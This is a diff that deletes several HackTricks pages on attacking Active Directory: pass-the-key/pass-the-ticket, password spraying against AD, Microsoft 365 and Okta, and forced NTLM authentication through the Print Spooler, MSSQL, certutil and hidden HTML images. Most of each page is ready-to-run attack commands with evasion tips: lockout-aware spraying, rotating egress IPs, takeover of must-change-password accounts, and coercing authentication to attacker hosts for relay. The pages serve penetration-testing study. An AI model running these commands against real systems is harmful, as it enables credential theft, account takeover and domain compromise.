-.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
-```
-
-`/opsec` is relevant because Rubeus-generated traffic differs slightly from native Windows Kerberos. Also note that `/opsec` is intended for **AES256** traffic; using it with RC4 usually requires `/force`, which defeats much of the point because **RC4 in modern domains is itself a strong signal**.
-
-## Detection notes
-
-Every TGT request generates **event `4768`** on the DC. In current Windows builds this event contains more useful fields than older writeups mention:
-
-- `TicketEncryptionType` tells you which enctype was used for the issued TGT. Typical values are `0x17` for **RC4-HMAC**, `0x11` for **AES128**, and `0x12` for **AES256**.
-- Updated events also expose `SessionKeyEncryptionType`, `PreAuthEncryptionType`, and the client's advertised enctypes, which helps distinguish **real RC4 dependence** from confusing legacy defaults.
-- Seeing `0x17` in a modern environment is a good clue that the account, host, or KDC fallback path still permits RC4 and is therefore more friendly to NT-hash-based Over-Pass-the-Hash.
-
-Microsoft has been progressively reducing RC4-by-default behavior since the November 2022 Kerberos hardening updates, and the current published guidance is to **remove RC4 as the default assumed enctype for AD DCs by the end of Q2 2026**. From an offensive perspective, that means **Pass-the-Key with AES** is increasingly the reliable path, while classic **NT-hash-only OpTH** will keep failing more often in hardened estates.
-
-For more details on Kerberos encryption types and related ticketing behaviour, check:
-
-{{#ref}}
-kerberos-authentication.md
-{{#endref}}
-
-## Stealthier version
-
-> [!WARNING]
-> Each logon session can only have one active TGT at a time so be careful.
-
-1. Create a new logon session with **`make_token`** from Cobalt Strike.
-2. Then, use Rubeus to generate a TGT for the new logon session without affecting the existing one.
-
-You can achieve a similar isolation from Rubeus itself with a sacrificial **logon type 9** session:
-
-```bash
-.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES256_HEX> /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
-```
-
-This avoids overwriting the current session TGT and is usually safer than importing the ticket into your existing logon session.
-
-
-## References
-
-- [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
-- [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
-- [https://learn.microsoft.com/en-us/windows-server/security/kerberos/detect-remediate-rc4-kerberos](https://learn.microsoft.com/en-us/windows-server/security/kerberos/detect-remediate-rc4-kerberos)
-
-
-{{#include ../../banners/hacktricks-training.md}}
-
diff --git a/src/windows-hardening/active-directory-methodology/pass-the-ticket.md b/src/windows-hardening/active-directory-methodology/pass-the-ticket.md
deleted file mode 100644
index 4cbac265593..00000000000
--- a/src/windows-hardening/active-directory-methodology/pass-the-ticket.md
+++ /dev/null
@@ -1,50 +0,0 @@
-# Pass the Ticket
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Pass The Ticket (PTT)
-
-In the **Pass The Ticket (PTT)** attack method, attackers **steal a user's authentication ticket** instead of their password or hash values. This stolen ticket is then used to **impersonate the user**, gaining unauthorized access to resources and services within a network.
-
-**Read**:
-
-- [Harvesting tickets from Windows](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
-- [Harvesting tickets from Linux](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
-
-### **Swaping Linux and Windows tickets between platforms**
-
-The [**ticket_converter**](https://github.com/Zer1t0/ticket_converter) tool converts ticket formats using just the ticket itself and an output file.
-
-```bash
-python ticket_converter.py velociraptor.ccache velociraptor.kirbi
-Converting ccache => kirbi
-
-python ticket_converter.py velociraptor.kirbi velociraptor.ccache
-Converting kirbi => ccache
-```
-
-In Windows [Kekeo](https://github.com/gentilkiwi/kekeo) can be used.
-
-### Pass The Ticket Attack
-
-```bash:Linux
-export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
-python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass
-```
-
-```bash:Windows
-#Load the ticket in memory using mimikatz or Rubeus
-mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
-.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi
-klist #List tickets in cache to cehck that mimikatz has loaded the ticket
-.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd
-```
-
-## References
-
-- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md
deleted file mode 100644
index 98af4fa0503..00000000000
--- a/src/windows-hardening/active-directory-methodology/password-spraying.md
+++ /dev/null
@@ -1,339 +0,0 @@
-# Password Spraying / Brute Force
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-## **Password Spraying**
-
-Once you have found several **valid usernames** you can try the most **common passwords** (keep in mind the password policy of the environment) with each of the discovered users.\
-By **default** the **minimum** **password** **length** is **7**.
-
-Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
-
-Notice that you **could lockout some accounts if you try several wrong passwords** (by default more than 10).
-
-### Get password policy
-
-If you have some user credentials or a shell as a domain user you can **get the password policy with**:
-
-```bash
-# From Linux
-crackmapexec <IP> -u 'user' -p 'password' --pass-pol
-
-enum4linux -u 'username' -p 'password' -P <IP>
-
-rpcclient -U "" -N 10.10.10.10;
-rpcclient $>querydominfo
-
-ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
-
-# From Windows
-net accounts
-
-(Get-DomainPolicy)."SystemAccess" #From powerview
-```
-
-### Exploitation from Linux (or all)
-
-- Using **crackmapexec:**
-
-```bash
-crackmapexec smb <IP> -u users.txt -p passwords.txt
-# Local Auth Spray (once you found some local admin pass or hash)
-## --local-auth flag indicate to only try 1 time per machine
-crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
-```
-
-- Using **NetExec (CME successor)** for targeted, low-noise spraying across SMB/WinRM:
-
-```bash
-# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
-netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
-
-# Spray a single candidate password against harvested users over SMB
-netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
-  --continue-on-success --no-bruteforce --shares
-
-# Validate a hit over WinRM (or use SMB exec methods)
-netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
-
-# Tip: sync your clock before Kerberos-based auth to avoid skew issues
-sudo ntpdate <DC_FQDN>
-```
-
-- Using [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
-
-```bash
-# Password Spraying
-./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
-# Brute-Force
-./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
-```
-
-- [**spray**](https://github.com/Greenwolf/Spray) _**(you can indicate number of attempts to avoid lockouts):**_
-
-```bash
-spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
-```
-
-- Using [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK
-
-```bash
-python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
-python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
-```
-
-- With the `scanner/smb/smb_login` module of **Metasploit**:
-
-![Password Spraying - Brute-Force: With the scanner/smb/smb login module of Metasploit](<../../images/image (745).png>)
-
-- Using **rpcclient**:
-
-```bash
-# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
-for u in $(cat users.txt); do
-    rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
-done
-```
-
-#### From Windows
-
-- With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module:
-
-```bash
-# with a list of users
-.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
-
-# check passwords for all users in current domain
-.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
-```
-
-- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (It can generate users from the domain by default and it will get the password policy from the domain and limit tries according to it):
-
-```bash
-Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
-```
-
-- With [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
-
-```
-Invoke-SprayEmptyPassword
-```
-
-### Identify and Take Over "Password must change at next logon" Accounts (SAMR)
-
-A low-noise technique is to spray a benign/empty password and catch accounts returning STATUS_PASSWORD_MUST_CHANGE, which indicates the password was forcibly expired and can be changed without knowing the old one.
-
-Workflow:
-- Enumerate users (RID brute via SAMR) to build the target list:
-
-{{#ref}}
-../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
-{{#endref}}
-
-```bash
-# NetExec (null/guest) + RID brute to harvest users
-netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
-```
-
-- Spray an empty password and keep going on hits to capture accounts that must change at next logon:
-
-```bash
-# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
-netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
-```
-
-- For each hit, change the password over SAMR with NetExec’s module (no old password needed when "must change" is set):
-
-```bash
-# Strong complexity to satisfy policy
-env NEWPASS='P@ssw0rd!2025#' ; \
-netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
-
-# Validate and retrieve domain password policy with the new creds
-netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
-```
-
-Operational notes:
-- Ensure your host clock is in sync with the DC before Kerberos-based operations: `sudo ntpdate <dc_fqdn>`.
-- A [+] without (Pwn3d!) in some modules (e.g., RDP/WinRM) means the creds are valid but the account lacks interactive logon rights.
-
-## Brute Force
-
-```bash
-legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
-```
-
-### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
-
-Kerberos pre-auth–based spraying reduces noise vs SMB/NTLM/LDAP bind attempts and aligns better with AD lockout policies. SpearSpray couples LDAP-driven targeting, a pattern engine, and policy awareness (domain policy + PSOs + badPwdCount buffer) to spray precisely and safely. It can also tag compromised principals in Neo4j for BloodHound pathing.
-
-Key ideas:
-- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
-- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
-- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
-- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
-- Throughput control with threads, jitter, and max requests per second.
-- Optional Neo4j integration to mark owned users for BloodHound.
-
-Basic usage and discovery:
-
-```bash
-# List available pattern variables
-spearspray -l
-
-# Basic run (LDAP bind over TCP/389)
-spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
-
-# LDAPS (TCP/636)
-spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
-```
-
-Targeting and pattern control:
-
-```bash
-# Custom LDAP filter (e.g., target specific OU/attributes)
-spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-  -q "(&(objectCategory=person)(objectClass=user)(department=IT))"
-
-# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
-spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
-```
-
-Stealth and safety controls:
-
-```bash
-# Control concurrency, add jitter, and cap request rate
-spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
-
-# Leave N attempts in reserve before lockout (default threshold: 2)
-spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
-```
-
-Neo4j/BloodHound enrichment:
-
-```bash
-spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
-```
-
-Pattern system overview (patterns.txt):
-
-```text
-# Example templates consuming per-user attributes and temporal context
-{name}{separator}{year}{suffix}
-{month_en}{separator}{short_year}{suffix}
-{season_en}{separator}{year}{suffix}
-{samaccountname}
-{extra}{separator}{year}{suffix}
-```
-
-Available variables include:
-- {name}, {samaccountname}
-- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
-- Composition helpers and org token: {separator}, {suffix}, {extra}
-
-Operational notes:
-- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
-- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
-- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
-
-> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
-
-## Outlook Web Access
-
-There are multiples tools for p**assword spraying outlook**.
-
-- With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
-- with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
-- With [Ruler](https://github.com/sensepost/ruler) (reliable!)
-- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
-- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
-
-To use any of these tools, you need a user list and a password / a small list of passwords to spray.
-
-```bash
-./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
-    [x] Failed: larsson:Summer2020
-    [x] Failed: cube0x0:Summer2020
-    [x] Failed: a.admin:Summer2020
-    [x] Failed: c.cube:Summer2020
-    [+] Success: s.svensson:Summer2020
-```
-
-## Microsoft 365 / Entra ID
-
-For cloud spraying, first identify whether the tenant is **managed**, **federated**, or **hybrid**, because the endpoint and the lockout behavior can differ from on-prem AD. In Microsoft Entra, **Smart Lockout** changes how repeated guesses consume the lockout budget:
-
-- Repeating the **same bad password** doesn't keep incrementing the lockout counter, but trying **new candidates** does.
-- **Familiar** and **unfamiliar** locations have **separate** counters.
-- Tenants using **pass-through authentication (PTA)** don't benefit from the bad-password hash tracking, so treat them more like classic lockout-sensitive targets.
-
-In practice, spray **one password per round**, keep enough spacing between rounds, and prefer tooling that can discover the tenant's actual auth flow before sending guesses.
-
-- With [**TREVORspray**](https://github.com/blacklanternsecurity/TREVORspray), you can recon the tenant, discover the `token_endpoint`, spray `msol`/`adfs`/`owa`/`okta`, and rotate traffic through multiple egress IPs:
-
-```bash
-# Enumerate tenant info, autodiscover, and the token endpoint
-trevorspray --recon corp.com
-
-# Spray against the discovered token endpoint with delay/jitter
-trevorspray -u users.txt -p 'Winter2025!' \
-  --url https://login.windows.net/<tenant-id>/oauth2/token \
-  --delay 5 --jitter 3 --lockout-delay 60
-
-# Round-robin between multiple SSH egress points
-trevorspray -u users.txt -p 'Winter2025!' \
-  --url https://login.windows.net/<tenant-id>/oauth2/token \
-  --ssh root@1.2.3.4 root@4.3.2.1 --delay 5
-```
-
-- With [**Spray365**](https://github.com/MarkoH17/Spray365), you can pre-build a resumable **execution plan**, randomize auth order, and enforce a **minimum delay per user** to stay outside the lockout window:
-
-```bash
-# Generate a plan with shuffled auth order and a per-user minimum delay
-python3 spray365.py generate normal -ep plan.s365 -d corp.com \
-  -u users.txt -pf passwords.txt --delay 30 -mD 1800 \
-  -S -rUA
-
-# Execute the plan and abort after observing several lockouts
-python3 spray365.py spray -ep plan.s365 -l 5
-```
-
-- With [**o365spray**](https://github.com/0xZDH/o365spray), you can validate the tenant, enumerate users with modules such as `onedrive`, and spray via `oauth2` or `adfs` while keeping **one attempt per user** per lockout window. If you already have a FireProx API, pass it with `--proxy-url` to distribute the source IPs:
-
-```bash
-o365spray --validate --domain corp.com
-o365spray --enum -U users.txt --domain corp.com --enum-module onedrive
-o365spray --spray -U valid.txt -P passwords.txt --count 1 --lockout 15 --domain corp.com
-```
-
-Recent operator tradecraft has also moved toward **distributed cloud spraying**. [**TeamFiltration**](https://github.com/Flangvik/TeamFiltration) supports time windows, password shuffling, ADFS/M365 spraying, and automatic post-auth exfiltration. Recent real-world abuse also used **Microsoft Teams API** account enumeration and **AWS region rotation** to spread spray waves across multiple source geographies.
-
-## Google
-
-- [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
-
-## Okta
-
-- [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
-- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
-- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
-
-## References
-
-- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
-- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
-- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray)
-- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound)
-- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass)
-- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
-- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
-- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
-- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
-- [Microsoft Entra smart lockout](https://learn.microsoft.com/en-us/entra/identity/authentication/howto-password-smart-lockout)
-- [Proofpoint: Attackers Unleash TeamFiltration: Account Takeover Campaign](https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign)
-- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
-- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
-
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
deleted file mode 100644
index 7fbb99688ff..00000000000
--- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
+++ /dev/null
@@ -1,227 +0,0 @@
-# Force NTLM Privileged Authentication
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## SharpSystemTriggers
-
-[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) is a **collection** of **remote authentication triggers** coded in C# using MIDL compiler for avoiding 3rd party dependencies.
-
-## Spooler Service Abuse
-
-If the _**Print Spooler**_ service is **enabled,** you can use some already known AD credentials to **request** to the Domain Controller’s print server an **update** on new print jobs and just tell it to **send the notification to some system**.\
-Note when printer send the notification to an arbitrary systems, it needs to **authenticate against** that **system**. Therefore, an attacker can make the _**Print Spooler**_ service authenticate against an arbitrary system, and the service will **use the computer account** in this authentication.
-
-Under the hood, the classic **PrinterBug** primitive abuses **`RpcRemoteFindFirstPrinterChangeNotificationEx`** over **`\\PIPE\\spoolss`**. The attacker first opens a printer/server handle and then supplies a fake client name in `pszLocalMachine`, so the target spooler creates a notification channel **back to the attacker-controlled host**. This is why the effect is **outbound authentication coercion** rather than direct code execution.\
-If you are looking for **RCE/LPE** in the spooler itself, check [PrintNightmare](printnightmare.md). This page is focused on **coercion and relay**.
-
-### Finding Windows Servers on the domain
-
-Using PowerShell, get a list of Windows boxes. Servers are usually priority, so lets focus there:
-
-```bash
-Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
-```
-
-### Finding Spooler services listening
-
-Using a slightly modified @mysmartlogin's (Vincent Le Toux's) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), see if the Spooler Service is listening:
-
-```bash
-. .\Get-SpoolStatus.ps1
-ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
-```
-
-You can also use `rpcdump.py` on Linux and look for the **MS-RPRN** protocol:
-
-```bash
-rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
-```
-
-Or quickly test hosts from Linux with **NetExec/CrackMapExec**:
-
-```bash
-nxc smb targets.txt -u user -p password -M spooler
-```
-
-If you want to **enumerate coercion surfaces** instead of just checking whether the spooler endpoint exists, use **Coercer scan mode**:
-
-```bash
-coercer scan -u user -p password -d domain -t TARGET --filter-protocol-name MS-RPRN
-coercer scan -u user -p password -d domain -t TARGET --filter-pipe-name spoolss
-```
-
-This is useful because seeing the endpoint in EPM only tells you that the print RPC interface is registered. It does **not** guarantee that every coercion method is reachable with your current privileges or that the host will emit a usable authentication flow.
-
-### Ask the service to authenticate against an arbitrary host
-
-You can compile [SpoolSample from here](https://github.com/NotMedic/NetNTLMtoSilverTicket).
-
-```bash
-SpoolSample.exe <TARGET> <RESPONDERIP>
-```
-
-or use [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) or [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) if you're on Linux
-
-```bash
-python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
-printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
-```
-
-With **Coercer**, you can target the spooler interfaces directly and avoid guessing which RPC method is exposed:
-
-```bash
-coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-protocol-name MS-RPRN
-coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-method-name RpcRemoteFindFirstPrinterChangeNotificationEx
-```
-
-### Forcing HTTP instead of SMB with WebClient
-
-Classic PrinterBug usually yields an **SMB** authentication to `\\attacker\share`, which is still useful for **capture**, **relay to HTTP targets** or **relay where SMB signing is absent**.\
-However, in modern environments, relaying **SMB to SMB** is frequently blocked by **SMB signing**, so operators often prefer to force **HTTP/WebDAV** authentication instead.
-
-If the target has the **WebClient** service running, the listener can be specified in a form that makes Windows use **WebDAV over HTTP**:
-
-```bash
-printerbug.py 'domain/username:password'@TARGET 'ATTACKER@80/share'
-coercer coerce -u user -p password -d domain -t TARGET -l ATTACKER --http-port 80 --filter-protocol-name MS-RPRN
-```
-
-This is especially useful when chaining with **`ntlmrelayx --adcs`** or other HTTP relay targets because it avoids relying on SMB relayability on the coerced connection. The important caveat is that **WebClient must be running** on the victim for the HTTP/WebDAV variant to work.
-
-### Combining with Unconstrained Delegation
-
-If an attacker has already compromised a computer with [Unconstrained Delegation](unconstrained-delegation.md), the attacker could **make the printer authenticate against this computer**. Due to the unconstrained delegation, the **TGT** of the **computer account of the printer** will be **saved in** the **memory** of the computer with unconstrained delegation. As the attacker has already compromised this host, he will be able to **retrieve this ticket** and abuse it ([Pass the Ticket](pass-the-ticket.md)).
-
-## RPC Force authentication
-
-[Coercer](https://github.com/p0dalirius/Coercer)
-
-### RPC UNC-path coercion matrix (interfaces/opnums that trigger outbound auth)
-- MS-RPRN (Print System Remote Protocol)
-  - Pipe: \\PIPE\\spoolss
-  - IF UUID: 12345678-1234-abcd-ef00-0123456789ab
-  - Opnums: 62 RpcRemoteFindFirstPrinterChangeNotification; 65 RpcRemoteFindFirstPrinterChangeNotificationEx
-  - Tools: PrinterBug / SpoolSample / Coercer
-- MS-PAR (Print System Asynchronous Remote)
-  - Pipe: \\PIPE\\spoolss
-  - IF UUID: 76f03f96-cdfd-44fc-a22c-64950a001209
-  - Notes: asynchronous print interface on the same spooler pipe; use Coercer to enumerate reachable methods on a given host
-- MS-EFSR (Encrypting File System Remote Protocol)
-  - Pipes: \\PIPE\\efsrpc (also via \\PIPE\\lsarpc, \\PIPE\\samr, \\PIPE\\lsass, \\PIPE\\netlogon)
-  - IF UUIDs: c681d488-d850-11d0-8c52-00c04fd90f7e ; df1941c5-fe89-4e79-bf10-463657acf44d
-  - Opnums commonly abused: 0, 4, 5, 6, 7, 12, 13, 15, 16
-  - Tool: PetitPotam
-- MS-DFSNM (DFS Namespace Management)
-  - Pipe: \\PIPE\\netdfs
-  - IF UUID: 4fc742e0-4a10-11cf-8273-00aa004ae673
-  - Opnums: 12 NetrDfsAddStdRoot; 13 NetrDfsRemoveStdRoot
-  - Tool: DFSCoerce
-- MS-FSRVP (File Server Remote VSS)
-  - Pipe: \\PIPE\\FssagentRpc
-  - IF UUID: a8e0653c-2744-4389-a61d-7373df8b2292
-  - Opnums: 8 IsPathSupported; 9 IsPathShadowCopied
-  - Tool: ShadowCoerce
-- MS-EVEN (EventLog Remoting)
-  - Pipe: \\PIPE\\even
-  - IF UUID: 82273fdc-e32a-18c3-3f78-827929dc23ea
-  - Opnum: 9 ElfrOpenBELW
-  - Tool: CheeseOunce
-
-Note: These methods accept parameters that can carry a UNC path (e.g., `\\attacker\share`). When processed, Windows will authenticate (machine/user context) to that UNC, enabling NetNTLM capture or relay.\
-For spooler abuse, **MS-RPRN opnum 65** remains the most common and best-documented primitive because the protocol specification explicitly states that the server creates a notification channel back to the client specified by `pszLocalMachine`.
-
-### MS-EVEN: ElfrOpenBELW (opnum 9) coercion
-- Interface: MS-EVEN over \\PIPE\\even (IF UUID 82273fdc-e32a-18c3-3f78-827929dc23ea)
-- Call signature: ElfrOpenBELW(UNCServerName, BackupFileName="\\\\attacker\\share\\backup.evt", MajorVersion=1, MinorVersion=1, LogHandle)
-- Effect: the target attempts to open the supplied backup log path and authenticates to the attacker-controlled UNC.
-- Practical use: coerce Tier 0 assets (DC/RODC/Citrix/etc.) to emit NetNTLM, then relay to AD CS endpoints (ESC8/ESC11 scenarios) or other privileged services.
-
-## PrivExchange
-
-The `PrivExchange` attack is a result of a flaw found in the **Exchange Server `PushSubscription` feature**. This feature allows the Exchange server to be forced by any domain user with a mailbox to authenticate to any client-provided host over HTTP.
-
-By default, the **Exchange service runs as SYSTEM** and is given excessive privileges (specifically, it has **WriteDacl privileges on the domain pre-2019 Cumulative Update**). This flaw can be exploited to enable the **relaying of information to LDAP and subsequently extract the domain NTDS database**. In cases where relaying to LDAP is not possible, this flaw can still be used to relay and authenticate to other hosts within the domain. The successful exploitation of this attack grants immediate access to the Domain Admin with any authenticated domain user account.
-
-## Inside Windows
-
-If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with:
-
-### Defender MpCmdRun
-
-```bash
-C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
-```
-
-### MSSQL
-
-```sql
-EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
-```
-
-[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
-
-```shell
-# Issuing NTLM relay attack on the SRV01 server
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
-
-# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
-
-# Issuing NTLM relay attack on the local server with custom command
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
-```
-
-Or use this other technique: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
-
-### Certutil
-
-It's possible to use certutil.exe lolbin (Microsoft-signed binary) to coerce NTLM authentication:
-
-```bash
-certutil.exe -syncwithWU  \\127.0.0.1\share
-```
-
-## HTML injection
-
-### Via email
-
-If you know the **email address** of the user that logs inside a machine you want to compromise, you could just send him an **email with a 1x1 image** such as
-
-```html
-<img src="\\10.10.17.231\test.ico" height="1" width="1" />
-```
-
-and when he opens it, he will try to authenticate.
-
-### MitM
-
-If you can perform a MitM attack to a computer and inject HTML in a page he will visualize you could try injecting an image like the following in the page:
-
-```html
-<img src="\\10.10.17.231\test.ico" height="1" width="1" />
-```
-
-## Other ways to force and phish NTLM authentication
-
-
-{{#ref}}
-../ntlm/places-to-steal-ntlm-creds.md
-{{#endref}}
-
-## Cracking NTLMv1
-
-If you can capture [NTLMv1 challenges read here how to crack them](../ntlm/index.html#ntlmv1-attack).\
-_Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_
-
-## References
-- [Unit 42 – Authentication Coercion Keeps Evolving](https://unit42.paloaltonetworks.com/authentication-coercion/)
-- [Microsoft – MS-RPRN: RpcRemoteFindFirstPrinterChangeNotificationEx (Opnum 65)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d)
